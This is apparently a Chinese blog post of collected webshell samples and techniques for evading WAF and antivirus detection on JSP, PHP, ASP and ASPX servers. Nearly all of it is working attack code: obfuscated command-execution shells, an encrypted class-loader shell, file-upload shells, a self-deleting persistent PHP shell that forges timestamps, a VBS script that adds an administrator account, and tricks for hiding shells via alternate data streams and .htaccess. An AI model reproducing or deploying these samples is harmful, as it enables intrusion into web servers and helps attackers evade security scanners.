前言:2~3个月之前的东西了,总结了大部分的样本以及思路,分享出来玩吧,研究下人家的样本自然也就知道该咋去bypass了。
典型常见的拦截情况
①直接reset
②能上传成功但拦截url页面
即访问时线上没有该页面
个人理解的waf内容检测原理:
waf检测的原理:
动态检测-->检测进程和request和response包居多
静态检测-->强检(检测到某些参数或者内容就直接reset掉)
或者是弱检(即一部分敏感然后在给人检测)
这里要绕的一般就是静态检测
直接连shell的使用哥斯拉或者冰蝎 冰蝎启动不了 解决方法https://blog.csdn.net/RABCDXB/article/details/122250489?spm=1001.2101.3001.6650.1&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-1-122250489-blog-119328054.pc_relevant_antiscanv2&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-1-122250489-blog-119328054.pc_relevant_antiscanv2&utm_relevant_index=2
jsp执行命令的方式
jsp标签基础知识
<%@ %> //页面指令,设定页面属性和特征信息
<% %>//java代码片段,不能声明方法
<%! %>//java代码声明,声明全局变量或者当前页面方法
<%= %>//java表达式
如果强检<% out.println(i)%>和<%@ page%>了话
就只能考虑走xml格式类型的马
或者el马或者unicode进行bypass
unicode转码解析特性+换行特性+注释符特性+base64特性+代码混淆方式
常见的代码混淆方式
ASCII
String a=new String(new byte[]{121,122,100,100,77,114,54});
System.out.println("ASCII:"+a);
HEX
import javax.xml.bind.DatatypeConverter;
String b=new String(DatatypeConverter.parseHexBindary("797a64644d7236"));
System.out.println("HEX:"+b);
BASE64
import sum.misc.BASE64Deconder;
String c=new String(new BASE64Decode().decodeBuffer("eXpkZE1yNG=="));
System.out.println("BASE64:"+c);
//①拼接特性即将out和println进行拼接在一起进行请求的方法
<%out.%><% println("hello"); %>//②换行特性
//如将冰蝎马降级别的一些思路
//就直接从6级降级为2级了 百度啥的直接即免杀了
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*,sun.misc.BASE64Decoder"%>
<%!class U extends ClassLoader
{
U(ClassLoader c){super(c);
}
public Class g(byte []b)
{
return super.defineClass(b,0,b.length);
}
}%>
<%if (request.getMethod().equals("POST"))
{
String k="e45e329feb5d925b";
session.putValue("u",k);
Cipher c=Cipher.
getInstance("AES");
c.init(2,
new SecretKeySpec
(k.getBytes()
,"AES"));
BASE64Decoder encode
=new sun.misc
.BASE64Decoder();
String requestString = request.getReader().readLine();
new U(this.getClass()
.getClassLoader()).
g(c.doFinal(encode.
decodeBuffer(requestString))).newInstance().equals(pageContext);
}%>
//③注释符特性即利用注释符取混淆
// \u000d a="world";
// \u000a a="hello world!";
\u000d以及\u000a 正好对应“\r”回车、“\n”换行
//即上面代码等同于下面代码的思路
public void testUnicode() {
String a = "Hello";
// \u000d a="world";
System.out.println(a);
// \u000a a="hello world!";
System.out.println(a);
}
public void testUnicode() {
String a = "Hello";
//
a="world";
System.out.println(a);
//
a="hello world!";
System.out.println(a);
}
//④base64特性
java YQ==Yg== ————》ab
php YQ==Yg== ————》乱码
特性就是可以进行拼接:
a(base64)+b(base6)=ab
利用unicode进行bypass
但是现在这种d盾查杀的有点惨
https://tool.leavesongs.com/特性特点:
//JSP支持Unicode转码和换行
//Unicode格式为\u0053,且支持\uuuuuuuuuuuuuuu0053,也就是不论加几个u都可以,并且不支持大U,只支持小u//如xyz可表达为
x\u0079\u007a
\u0078y\u007a
\u0078\u0079z
\u0078\u0079\u007A
\u0078\uuuu0079\uuu007a
\uuuuu0078\uu0079z
\uuuuuuuuu0078yz
<% \u006f\u0075\u0074\u002e\u0070\u0072\u0069\u006e\u0074\u0028\u0031\u0032\u0033\u0029\u003b %>即可
思路来源https://www.cnblogs.com/piaomiaohongchen/p/13963476.html编码去绕https://blog.csdn.net/weixin_39933438/article/details/111049491
//①xml语法支持实体编码
Process child = Runtime.getRuntime().exec(cmd);//②cdata特性
//在XML元素里,<和&是非法的,遇到<解析器会把该字符解释为新元素的开始,遇到&解析器会把该字符解释为字符实体化编码的开始。但是我们有时候有需要在jspx里添加js代码用到大量的<和&字符,因此可以将脚本代码定义为CDATA。
//CDATA部分内容会被解析器忽略。
//格式:<![CDATA[xxxxxxxxxxxxxxxxxxx]]>
//即在<![CDATA[xxxxxxxxxxxxxxxxxxx]]>这里面的内容是会被忽略的 所以可以利用这些取绕
如
String cmd = request.getPar<![CDATA[ameter]]>("shell");
https://www.jianshu.com/p/c0c566de4e97
参考资料
//思路jsp绕过方法利用el表达式绕过
//el常见的使用方法
https://www.jb51.net/article/105314.htm
<html>
<body>
${Runtime.getRuntime().exec(pageContext.request.getParameter("cmd"))}
</body>
</html>
?cmd=calc //即可弹计算器证明了
//java转el思路
//scriptengine
//${''.getClass().forName(param.aef).newInstance().getEngineByName("javascript").eval(param.aef1)}
<html>
<body>
aef1=try{load("nashorn:mozilla_compat.js");}catch (e){}importPackage(Packages.java.util);importPackage(Packages.java.lang);importPackage(Packages.java.io);s=[2];s[0]='cmd';s[1]='/c whoami /all';a="";b=java.lang.Runtime.getRuntime().exec(s).getInputStream();output+=+new BufferedReader(new+InputStreamReader(b));while ((line=output.readLine()) != null) {a=a%2Bline%2B"\n"};a
</body>
</html>//jspx绕过思路1
//利用命令空间改名去绕过
//原理:在<jsp:scriptlet>这个标签中,jsp就是默认的命名空间,但是实际上可以随意替换成其他名字
<bbb:root xmlns:bbb="http://java.sun.com/JSP/Page" version="1.2">
<bbb:scriptlet>
Runtime.getRuntime().exec(pageContext.request.getParameter("cmd"));
</bbb:scriptlet>
</bbb:root>
//jspx绕过思路2
利用<jsp:expression>绕过
即把表达式写到jspx中即可绕过了
<jsp:root xmlns:bbb="http://java.sun.com/JSP/Page" version="1.2">
<jsp:expression>
Runtime.getRuntime().exec(pageContext.request.getParameter("cmd"));
</jsp:expression>
</jsp:root>
jsp编码特性 还有个编码特征通杀common util上传类型的
没找到相关的文章了 后面有机会看下
xml格式的
#python2
charset = "utf-8"
data = '''<?xml version="1.0" encoding="UTF-8"?>
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page"
version="1.2">
<jsp:directive.page contentType="text/html"/>
<jsp:declaration>
</jsp:declaration>
<jsp:scriptlet>
Runtime.getRuntime().exec(request.getParameter("i"));
</jsp:scriptlet>
<jsp:text>
</jsp:text>
</jsp:root>'''.format(charset=charset)f16be = open('utf-16be.jspx','wb')
f16be.write(data.replace('UTF-8','UTF-16be').encode('utf-16be'))
f16le = open('utf-16le.jspx','wb')
f16le.write(data.replace('UTF-8','UTF-16le').encode('utf-16le'))
fcp037 = open('cp037.jspx','wb')
fcp037.write(data.replace('UTF-8','CP037').encode('cp037'))
普通的jsp格式的
bypass思路
#python2
charset = "utf-8"
data = '''<%Runtime.getRuntime().exec(request.getParameter("i"));%>'''.format(charset=charset)f16be = open('utf-16be.jsp','wb')
f16be.write('<%@ page contentType="charset=utf-16be" %>')
f16be.write(data.encode('utf-16be'))
f16le = open('utf-16le.jsp','wb')
f16le.write('<jsp:directive.page contentType="charset=utf-16le"/>')
f16le.write(data.encode('utf-16le'))
fcp037 = open('cp037.jsp','wb')
fcp037.write(data.encode('cp037'))
fcp037.write('<%@ page contentType="charset=cp037"/>')
两篇阿里安全响应中心的文章
http://www.52bug.cn/hkjs/6570.htmlhttps://mp.weixin.qq.com/s/YhiOHWnqXVqvLNH7XSxC9w
调用思路
直接调用
java.lang.Runtime
<% if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in=Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a=-1;
byte[] b=new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
利用java.lang.ProcessBuilder的思路进行执行
这里就使用典型的手法来进行bypass
最常见的就是反射调用+类加载的手法进行bypass
反射调用(在bypass webshell中这种手法用的 比较多)
常见即将代码进行变更为反射的思路去进行执行原因:两个
①反射中可以进行加入混淆代码
②java本身也是利用这种思路去改变执行过程
最简单利用反射思路免杀
//最开始的特点-->反射调用手法
//Runtime rt = Runtime.getRuntime();
//String cmd = request.getParameter("cmd");
//Process process = rt.exec(cmd);<%@ page language="java" pageEncoding="UTF-8" %>
<%
// 加入一个密码
String PASSWORD = "password";
String passwd = request.getParameter("pwd");
String cmd = request.getParameter("cmd");
if (!passwd.equals(PASSWORD)) {
return;
}
// 反射调用-->进行反射的思路
Class rt = Class.forName("java.lang.Runtime");
java.lang.reflect.Method gr = rt.getMethod("getRuntime");
java.lang.reflect.Method ex = rt.getMethod("exec", String.class);
Process process = (Process) ex.invoke(gr.invoke(null), cmd);
// 类似上文做回显
java.io.InputStream in = process.getInputStream();
out.print("<pre>");
java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
String s = null;
while ((s = stdInput.readLine()) != null) {
out.println(s);
}
out.print("</pre>");
%>
上传马
<%@ page import="java.util.*,java.io.*" pageEncoding="UTF-8" contentType="text/html; charset=utf-8"%>
<%
request.setCharacterEncoding("utf-8");
String filePath = request.getParameter("filePath");
String content = request.getParameter("content");
String base64Flag = request.getParameter("base64");
String msg = "";
if(content != null){
try{
File file = new File(filePath);
OutputStream os = new FileOutputStream(file);
byte[] bytes = null;
if("on".equals(base64Flag)){
bytes = new sun.misc.BASE64Decoder().decodeBuffer(content);
}else{
bytes = content.getBytes("utf-8");
}
os.write(bytes);
os.close();
msg = "success";
}catch(Exception e){
msg = "error";
}
}
%>
<html>
<head>
</head>
<body>
<font color="red"><%=msg%></font>
<form action="" method="post">
<table>
<tr>
<td>本文件路径:</td>
<td><%=application.getRealPath("")%></td>
</tr>
<tr>
<td>保存路径:</td>
<td><input type="text" size="60" name="filePath"/><input type="checkbox" name="base64"/>base64解码保存</td>
</tr>
<tr valign="top">
<td>大马内容:</td>
<td><textarea rows="20" cols="70" name="content"></textarea></td>
</tr>
<tr align="right">
<td> </td>
<td><input type="submit" value="保存"/></td>
</tr>
</table>
</form>
</body>
</html>
-----------------------------------
jsp利用base64解码上传二进制文件
https://blog.51cto.com/0x007/1204440
中转马搞
<%
//写文件到当前目录下 与当前 jsp 同目录
String a=application.getRealPath(request.getServletPath())+"2.txt";
//当前 jsp 全路径 xx/xx.jsp2.txt
out.println(a);
String b=new String(new
sun.misc.BASE64Decoder().decodeBuffer(request.getParameter("c"))); //base64 内容
new java.io./**/FileOutputStream(a).write(b.getBytes());
%>
eval是一个构造器而不是函数,不可被可变函数调用
assert是一个函数 可以被可变函数调用
ucwords() //函数把字符串中每个单词的首字符转换为大写。
ucfirst() //函数把字符串中的首字符转换为大写。
trim() //函数从字符串的两端删除空白字符和其他预定义字符。
substr_replace() //函数把字符串的一部分替换为另一个字符串
substr() //函数返回字符串的一部分。
strtr() //函数转换字符串中特定的字符。
strtoupper() //函数把字符串转换为大写。
strtolower() //函数把字符串转换为小写。
strtok() //函数把字符串分割为更小的字符串
str_rot13() //函数对字符串执行 ROT13 编码。
call_user_func_array()
call_user_func()
array_filter()
array_walk()
array_map()
registregister_shutdown_function()
register_tick_function()
filter_var()
filter_var_array()
uasort()
uksort()
array_reduce()
array_walk()
array_walk_recursive()
ucwords() //把每个单词的首字符转换为大写
ucfirst() //首字符转换为大写
trim() //移除字符串两侧的字符
substr_replace() //函数把字符串的一部分替换为另一个字符串
substr() //函数返回字符串的一部分
strtr() //函数转换字符串中特定的字符
strtoupper() //把所有字符转换为大写
strtolower() //把所有字符转换为小写
strtok() //函数把字符串分割为更小的字符串
str_rot13() //函数对字符串执行 ROT13 编码
chr() //从指定 ASCII 值返回字符
hex2bin() //把十六进制值转换为 ASCII 字符
bin2hex() //ASCII 字符的字符串转换为十六进制值
gzcompress()、gzdeflate()、gzencode() //字符串压缩
gzuncompress()、gzinflate()、gzdecode() //字符串解压
base64_encode() //base64编码
base64_decode() //nase64解码
pack() //数据装入一个二进制字符串
unpack() //从二进制字符串对数据进行解包
//压缩的函数
<?php
$a = gzcompress("abc");
echo "压缩后: ".$a;echo "<br>解压后: ".gzuncompress($a);
?>
<?php
$func = gzuncompress(base64_decode($_GET["func"]));
$a = "a";
$s = "s";
$c=$a.$s.$_GET["func2"];
$c($func);
?>
//②自加密解密
<?php
// 要加密的字符串
$data = 'demo';
// 密钥
$key = '123456';
// 加密数据 'AES-128-ECB' 可以通过openssl_get_cipher_methods()获取
$encrypt = openssl_encrypt($data, 'AES-128-ECB', $key, 0);
echo "加密后: ".$encrypt;
//密钥
$key = '123456';
// 解密数据
$decrypt = openssl_decrypt($encrypt, 'AES-128-ECB', $key, 0);
echo "<br>解密后: ".$decrypt;
实战使用
<?php
$key = "password";
$fun = openssl_decrypt($_GET['func'], 'AES-128-ECB', $key, 0);
$a = "a";
$s = "s";
$c=$a.$s.$_GET["func2"];
$c($fun);
//③异或加密手法
<?php
$key = "password";
//ERsDHgEUC1hI
$fun = base64_decode($_GET['func']);
for($i=0;$i<strlen($fun);$i++){
$fun[$i] = $fun[$i]^$key[$i+1&7];
}
$a = "a";
$s = "s";
$c=$a.$s.$_GET["func2"];
$c($fun);
通用思路:
1.编码思路即直接利用base64_decode()编码思路代
2.异或无特征思路构造
如assert异或免杀一句话或者char字符
<? @("Y;HJ(Z"^"8H;/Z.")(${"~?}$"^"!x8p"}[1]);#如下面这个就是
//原理$t="base64_"."decode";即最开始的
$t='{{{{{{{{{{{{{'^chr(25).chr(26).chr(8).chr(30).chr(77).chr(79).chr(36).chr(31).chr(30).chr(24).chr(20).chr(31).chr(30);
自定义变量思路-->即post[1]这些的思路
#①典型的手法
切割后在连接的手法绕
#②从别的函数或者define变量操作进行获取
#③多个正则匹配替换后在连接
自定义函数
①assert函数就上面的思路 回调函数或者变形函数绕-->最典型的手法
#这个的利用手法贼多,如这种手法
<?php
/*
97 = a 65 = A
115 = s 83 = S
101 = e 69 = E
114 = r 82 = R
116 = t 84 = T
*/
$a = chr(65).chr(83).chr(83);//ASS
$b = chr(69).chr(82).chr(84);//ERT
$c = strtolower($a.$b);//assert
$aa = array($_GET['x']);
array_map($D = $c,$DD = $aa );
//strtolower(): 该函数将传入的字符串参数所有的字符都转换成小写,并以小定形式放回这个字
//strtoupper(): 该函数的作用同strtolower函数相反,是将传入的字符参数的字符全部转换成大
?>
②对于eval函数的绕法
#这个就只能特殊调用链的思路走了如把eval()函数写在其他函数或者类的函数中进行绕-->典型构造函数和魔法函数的手法
典型就是const动态引用以及类的动态链调用
混淆思路:即扰乱特征的一些手法
#①引入类或者函数做一些正常的操作去混淆代码#③引入正常的代码去混淆即如这类手法
public $x="";
public $y="";
#②引入特殊的字符去干扰-->如
Y---W|@^^[email protected]#$%^&*我我|E=)))(((————》aa
#原理:Php针对一些特殊符号会将其忽略掉,并且能够成功转化为想要的base64字符串
<?php
$c="NULL";
$s=
substr ("aabbccsystem".null,"0x6");
null.$s/*0*/(null.
$_GET/**/
['cmd'/*1*/]/*2*/);
?>
<?php
$zeo='1';
$$zeo=$_POST['x'];
eval(NULL.``.$1);
?>
特殊技巧
①版本差异绕
php 5.2以下版本可解析
<?php
\echo `whoami`;?>
#②16进制字符串
#原理:在php7中不认为是数字,php5则依旧为数字
#经过测试 5.3 和5.5可以成功执行命令,5.2和php7无法执行
<?php
$s=substr("aabbccsystem","0x6");
$s($_GET['cmd']);
?>
#③list正方向取值
<?php
$info=array("dir","whoami");
list($a[0],$a[1])=$info;
SYSTEM(END($a))
?>
php 5 输出 执行dir
php 7 输出 执行whoami
#④AF绕7.3.4命令执行,其他的版本echo必须回车换行
<?=
$a=<<< aa
assasssasssasssasssasssasssasssasssasssasssassss
aa;echo `whoami`
?>##⑤外部获取参数
#根据版本特性去获取内容这些的
<?php
$arr = get_defined_functions()['internal'];
//var_dump($arr);
$arr[457]($_GET['cmd']);
②其他的tips
#科学计数法
<?php
$arr[0]='1';
$arr[99999e9999999]=$_GET[1];
@eval("".$arr[0]."");
echo $arr[0];
echo $arr[99999e9999999];#可解析即999e99999=0 因此可以用该类思路去绕
XOR特性
git clone https://github.com/devploit/XORpasscd XORpass
$ python3 xorpass.py -h
<?php
$arr = get_defined_functions()['internal'];
//var_dump($arr);
$arr[457]($_GET['cmd']);
五种前缀
<?php phpinfo();?>
<script language='php'>phpinfo();</script>
<?=phpinfo()?>
<?phpinfo()?>
<%=phpinfo()%>
<?php @eval($_POST['hacker']); ?>
<?php assert($_REQUEST["pass"]);?>蚁剑连接需要编码一下,Cknife不用进行编码
<?php echo `$_=$_REQUEST[baby]`; ?>
<?php
$b=1;$a=$_POST;extract($a);print_r(`$b`);?>
<?=`$_GET[1]`;
<?php
set_time_limit(0); //设置脚本执行时间,0 为无时间限制
ignore_user_abort(1); //与客户机断开不终止脚本的执行
unlink(__FILE__); //然后删除文件自身
$file = '/var/www/html/.shell.php';
//$file = 'D:\phpstudy_pro\WWW\h\.shell.php';
$code = '<?php @eval($_POST['pwd']);?>';
while (1) {
file_put_contents($file, $code); //写shell文件
system('touch -m -d "2020-10-19 13:50:11" .shell.php'); //修改时间戳
usleep(1000); //以指定的微秒数延缓程序的执行
}
?>
<?php
$a = '123';
$b = '$a';
$c = "$a";
echo $b;
echo '<br>';
echo $c;
?>输出 单引号不作为变量名而是直接字符 双引号直接作为变量名
$a
123
其实个人理解的本质:就是通过混淆代码的操作
常见的有
1.把执行代码封到函数或者类中去执行即下面三种可变变量,可变函数
2.加密解密执行
1、可变变量
<?php
$b = "assert";
$a = 'b';
$$a($_POST['hacker']);
?>
2、可变函数
@$_GET['a']($_GET['cmd']);
http://127.0.0.1/1.php?a=system&cmd=whoami
3、自写函数
<?php
function test($a){
$a($_POST['x']);
}
test(assert);
?>
ucwords() //函数把字符串中每个单词的首字符转换为大写
ucfirst() //函数把字符串中的首字符转换为大写
trim() //函数从字符串的两端删除空白字符和其他预定义字符
substr_replace() //函数把字符串的一部分替换为另一个字符串
substr() //函数返回字符串的一部分
strtr() //函数转换字符串中特定的字符
strtoupper() //函数把字符串转换为大写
strtolower() //函数把字符串转换为小写
strtok() //函数把字符串分割为更小的字符串
str_rot13() //函数对字符串执行 ROT13 编码
explode //把字符串大散为数组
河马现在能过
<?php
$a=end($_REQUEST);
eval($a);
?>
##原理分析:
#①ReflectionClass创建一个user类
#②调用getDocComment内置函数去获取注释
#③然后利用substr去截取值的内容进行处理
#④在用eval执行即可
<?php
/**
* assert($_GET[1+0]);
*/
class User { }
$user = new ReflectionClass('User');
$comment = $user->getDocComment();
$d = substr($comment , 14 , 20);
assert($d);
?>#php连接密码均为1
#?1=phpinfo();
#原理:实列化的时候自动将值 base64解码 即从解码的角度去解析绕bypass
<?phpclass people{
public $name;
public $age;
public function __construct($name){
$this->name=base64_decode($name);
}
}
foreach ($_REQUEST as $key => $value) {
$$key=$value;
};
$stu=new people('YXNzZXJ0');
$stu1=$stu->name;
$stu1($key);
?>
#使用方法
#http://127.0.0.1/2.php?key=phpinfo();
以前的动态链思路
<?php
class Test{
public static function a(){
$a = base64_decode/*/\*/($_POST/*\*/['a']);
return $a;
}
}
$func = 'a';
$classname = 'Test';
$a =$classname::$func();
eval/*\/*/($a);
?>
## 现在仍然bypass d盾的
<?phpclass test{
const name='eval(end($_REQUEST));';
}
eval(test::name);
?>
1.隐藏php文件
windows下
atttrib +s +a +h +r shell.php #隐藏
atttrib -s -a -h -r shell.php #显示
2.ads隐藏
windows数据流有个很好的方式隐藏数据。
通过命令行
echo ^<?php @eval($_POST['pwd']);?^> > shell.php:123.jpg
<?php include('shell.php:123.jpg');?>
3.利用.htacess和.user.ini和php.ini
修改.htacess文件
AppType application/x-httpd-php .jpg #会将本目录下的.jpg文件当做php代码运行。
php_value auto_append_file D:/123.txt #自动包含文件。
php_value auto_append_file .htaccess #包含自己。
#<?php phpinfo();
php.ini
修改auto_prepend_file = shell.txt或auto_append_file= shell.txt再修改include_path,可以通过任意页面进行访问include_path = ".;D:\phpstudy\www\"在路徑D:\phpstudy\www\中写入webshell.txt
user.ini+上传jpg
auto_prepend_file = a.jpg
auto_append_file = a.jpg
在线搭建的方法(快速)http://landian.cc/asp网站宝塔搭建思路https://www.vpsss.net/26656.htmlhttps://blog.csdn.net/weixin_46709219/article/details/111940519添加ssl证书方法https://www.yuntue.com/post/27543.html
asp一句话木马基础知识点
asp执行函数:
Eval 、 Execute 、ExecuteGlobal
asp的注释符:
' 、 REM 当然如果你使用vbscript 注释还有<!-- --> 和//
asp解释器:
VBScript
执行eval和execute的区别
eval计算一个表达式的值并返回结果response.Write(eval("3+2")) '输出 5
Execute 执行一个或多个指定的语句。多个语句间用冒号(:)隔开
Execute "response.Write(""abc"")" "输出 abc
asp基础知识点
①取值
//dim定义,可以定义函数,布尔,数字,整形
Dim str: str="xxx"
dim str as sssss
Dim name,age
name="111"
age="18"
//set也是赋值,但是一般是给特殊的数据类型
set conn=server.createobject("adodb.connection")
//定义数组
dim a(5)
//从get取值
request.querystring("name")
request()
request.item("c")//从post取值
request.form("lname")
//从cookie
Request.Cookies("firstname")
DIM一般用于声明变量,如:dim 变量名 as 数据类型
SET一般用于给一些特殊的数据类型赋值
②定义函数的方法
Function b():
response.write("xxxx")
End Functionb()
③创造类
Class myclass
Private Sub Class_Initialize //类开始时执行的方法
response.write("xxxx")
End Sub private sub class_terminate() //类结束的方法
response.write "类结束了<br>"
End sub
End Class
④循环
<%
dim i
i=0
dim sum
sum=0for i=1 to 10
sum=sum+i
response.write(sum&chr(10) )
next
%>
⑤创建组件实例
Server.CreateObject("Scripting.FileSystemObject") //调用文件控制组件
Server.CreateObject("Scripting.Dictionary") //调用键值对对象
CreateObject("WScript.Shell") //调用wscript组件,利用它可以操作注册表,执行命令等如下代码直接放入1.vbs执行便会弹出计算机,在Web端也会弹出计算器在任务管理器里,但是不会直接看到
dim oShell,cmd
Set oShell = CreateObject("WSCript.shell")
cmd="calc.exe"
call oShell.exec(cmd)
⑥文字处理常见函数
函数 描述
InStr 返回字符串在另一字符串中首次出现的位置。检索从字符串的第一个字符开始。
InStrRev 返回字符串在另一字符串中首次出现的位置。检索从字符串的最末字符开始。
LCase 把指定字符串转换为小写。
Left 从字符串的左侧返回指定数目的字符。
Len 返回字符串中的字符数目。
LTrim 删除字符串左侧的空格。
RTrim 删除字符串右侧的空格。
Trim 删除字符串左侧和右侧的空格。
Mid 从字符串返回指定数目的字符。
Replace 使用另外一个字符串替换字符串的指定部分指定的次数。
Right 返回从字符串右侧开始指定数目的字符。
Space 返回由指定数目的空格组成的字符串。
StrComp 比较两个字符串,返回代表比较结果的一个值。
String 返回包含指定长度的重复字符的字符串。
StrReverse 反转字符串。
UCase 把指定的字符串转换为大写。
常见的手法 数组免杀
<%
dim a(5)
a(0)=request("404")
eXecUTe(a(0))
%>
//加点循环
<%
dim array(1)
dim c
array(1)=request("404")
for each a in array
c = a & ""
next
execute(c)
%>
函数手法
<%Function b():
b = request("404")
End FunctionFunction f():
eXecUTe(b())
End Function
f()
%>
加密手法
<%
eXecUTe(gw_jiemi("920022008400D4002200820047003700560057001700560027000200C60016006700560077007600"))
function gw_jiemi(text)
const key="gw"
dim str : str=text
dim str1
dim str2 : str2=strreverse(str)
for i=1 to len(str2) step 4
str1=str1 & ChrW(cint("&H" & mid(str2,i,4)))
next
gw_jiemi=mid(str1,len(key)+1,len(str)-len(key))
end function
%>
注释符
<%
<!--
a = request("404")
execute(a)
-->
%>
类的手法
<%
Class LandGrey
private str_title public property let setauthor(str)
execute(str&"")
end property
End Class
Set a
= New LandGrey
a.setauthor= request("404")
%>
字符串手法
<%
a = request("404")
b = Left(a,99999)
execute(b)
%>
//大小写转换
<%
a = request("404")
b = Left(UCase(a),99999)
execute(b)
%>
//拼接空格 这个已经g掉了
<%
a = request("404")
b = Left(UCase(a)&"",99999)
execute(b)
%>
asp的典型特性
①支持的标签引擎<%@ language="Javascript" %>和<%@ language="vbs" %>//且对大小写敏感
<%@ language="Javascript" %>
<%
Response.Write("Hello World!")
/*asdasasdasda
d*/
%>
②头部可换为如下几种
ASP脚本中的代码块一般被包裹在<% %>标签中,默认以VBscript语言进行解释。引号可以去掉。
<script language="VBScript" runat="server">
xxxx
</script><script language=vbs runat=server>
xxx
</script>
<%@ language=vbs %>
<%@ language="VBscript" %>
<%@ LANGUAGE = VBScript.Encode %>
③注释符
' 单引号 (单行注释)
REM rem+空格 (单行注释)
// 双斜线 (单行注释,VBscript,JScript可用,仅支持IIS)
<!-- --> HTML注释符 (单行注释,VBscript可用,仅支持IIS)
/* */ 多行注释符 (多行注释,JScript可用)
③换行分割特性
利用_进行换行
如这个response.write("iceice")//即利用换行特性即_可换行Response._
Write("iceice")
Response._
_
_
Write("iceice")
④拼接特性
原理:对于包裹在双引号里面的字符串,可以支持拼接,例如,并且asp支持chr类型替换所有的字符
Response.Write("Test"++++++"asdasdas"&"cccccccccccccccc"&""&chr(97))
//最后输出的内容Testasdasdascccccccccccccccc
⑤eval命令执行 asp的
原理:调用wscript.shell来执行命令,类似于php里的system 这个可以bypass
//参考资料:关于wscript.shell里的run和exec的区别
//https://www.cnblogs.com/swek/articles/4337999.html
<%
set stm=server.CreateObject("adodb.stream")
set oScript =CreateObject("WSCRIPT.SHELL")
dim file
file="C:\\ProgramData\\1.txt"
dim command
command=request("command")
call oScript.run("cmd.exe /c " & command&" > " & file, 0, True)
'
命令执行
stm.Type=2
stm.mode=3
stm.charset="gbk"
'stm.charset="utf-8"
stm.open
stm.loadfromfile(file)
str=stm.readtext
stm.Close
Response.Write(str)
%>⑥奇怪的冒号
//其他的大部分都会影响解析 应该就是asp属于低容错的原因导致的吧
:代表另起一行。
就是指上一条语句执行完毕。
原理:在asp中:::::在语句前后后加入,并不会影响其解析;而:::ssssasdas::::也不会影响解析
eval函数除外
//bypass的
<%
:::::execute(request("cmd"))::::::::::xasdasdas::::::::::asdasdas::::::::x:
:::::adasdasd::
:::::adasdasd::response.write("asdsad"):::::adasdasd::
::::sss:adasdasd::now():::::adasdasd::
%>
⑦asp的编码特性
https://blog.csdn.net/weixin_40133121/article/details/108595440
codepage=936 简体中文gbk
codepage=950 繁体中文big5
codepage=437 美国/加拿大英语
codepage=932 日文
codepage=949 韩文
codepage=866 俄文
codepage=65001 unicode uft-8
//asp语法支持utf-7编码,65000为指定utf7-的编码模式
<%@codepage=65000%>
<%r+k-es+k-p+k-on+k-se.co+k-d+k-e+k-p+k-age=936:e+k-v+k-a+k-l r+k-e+k-q+k-u+k-e+k-s+k-t("cmd")%>
//Utf-7如果遇到+xx- 且xx的长度不超过2,则会变为空字符因此可以利用这种思路去bypass
<%@codepage=65000%>
<%e+ss-v+k-a+k-l r+k-e+ka-q+k-u+k-e+kd-s+ks-t("cmd")+xx-+xx-+xx-+x-%>
//因此可以变为
<%@@@@@@@@@@codepage=65000%>
<%
+AGUAdgBhAGw-(r+k-e+k-q+k-u+k-e+k-s+k-t("cmd"))
%>
//UTF-7编码解码工具
https://lark-assets-prod-aliyun.oss-cn-hangzhou.aliyuncs.com/yuque/0/2022/rar/1431765/1647787698646-132dfb49-3550-405f-ac19-a4e8896e2ae0.rar?OSSAccessKeyId=LTAI4GGhPJmQ4HWCmhDAn4F5&Expires=1652629805&Signature=8ZlAVqjVm4DtYkyMP5iW%2Fh3%2FOMY%3D&response-content-disposition=attachment%3Bfilename*%3DUTF-8%27%27_UTF-7%2520%25E7%25BC%2596%25E7%25A0%2581%25E8%25A7%25A3%25E7%25A0%2581%25E5%25B7%25A5%25E5%2585%25B7.rar
SCRENC工具
//screnc 是来自微软的原生加密工具,但是我找到该工具使用的时候,我怎么用也用不了。
//http://bcn.bathome.net/s/tool/index.html?key=screnc
MsgBox 123
将变成
#@~^CgAAAA==\ko$K6,F 2BgMAAA==^#[email protected]
//使用这类Webshell时需要添加标头前缀
<script language="VBScript.Encode">
#@~^[email protected]#@&j1D
bwYc214W,J3x1W[roPbdP1WW^[email protected]#@&PQsAAA==^#[email protected]</script>
//ASP对如果在文件头声明中发现VBScript.Encode,同时在之后的内容中检测到#@~^ ..... ^#[email protected]
//则自动对#@~^(.....内容)^#[email protected]中的密文进行解密并解释执行
//字符串处理工具
//混淆工具:https://github.com/sevagas/macro_pack
⑧wscript和cscript的区别
都可以直接在客户端上运行VBS脚本,区别在于一个使用框框弹出来,一个使用控制台打印出来
前者有弹窗 后者无
常见的vbs脚本
//添加用户的
Set wsnetwork=CreateObject("WS"&"CR"&"IPT"&"."&"NET"&"WO"&"RK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os)
Set oe=GetObject(os&"/Administrators,group")
Set od=ob.Create("user","iiice")
Const strPassword = "123456"
od.SetPassword strPassword
od.SetInfo
Set of=GetObject(os&"/iiice",user)
oe.add os&"/iiice"
//开启3389的
Dim ReadComputerName
Set ReadComputerName=WScript.CreateObject("WScript.Shell")
Dim TSName,TSRegPath
TSRegPath="HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\PortNumber"
TSName=ReadComputerName.RegRead(TSRegPath)
WScript.Echo("TermService port is:"&TSName)
aspx的典型特性
①unicode特性
和jsp的区别,他仅支持对26个字母进行unicode编码 其他的编码不可ASPX同样支持\unicode
如xyz使用工具会转成
\u0078\u0079\u007a
但是他还支持
\u0078y\u007a
\u0078\u0079z
\u0078\u0079\u007A
\U00000078\u0079z
\U00000078\u200c\u200d\u200d\U0000200d\u0079z
②注释特性
/*1212121*/如
③<%%>截断特性
支持使用多个<% %>来对语句进行拼接
④空字符连接
\u200c \u200d \u200e \u200f
⑤@符号
添加的@符号不影响解析
⑥头部特性
即头部的标识可更改
如即将头部更改
<%@ Page Language="Jscript"%>
<%@Page Language=JS%>
<%@ Page Language="C#" %>
换为
<%@Language=CSHARP%>
⑦字符编码格式转变特性
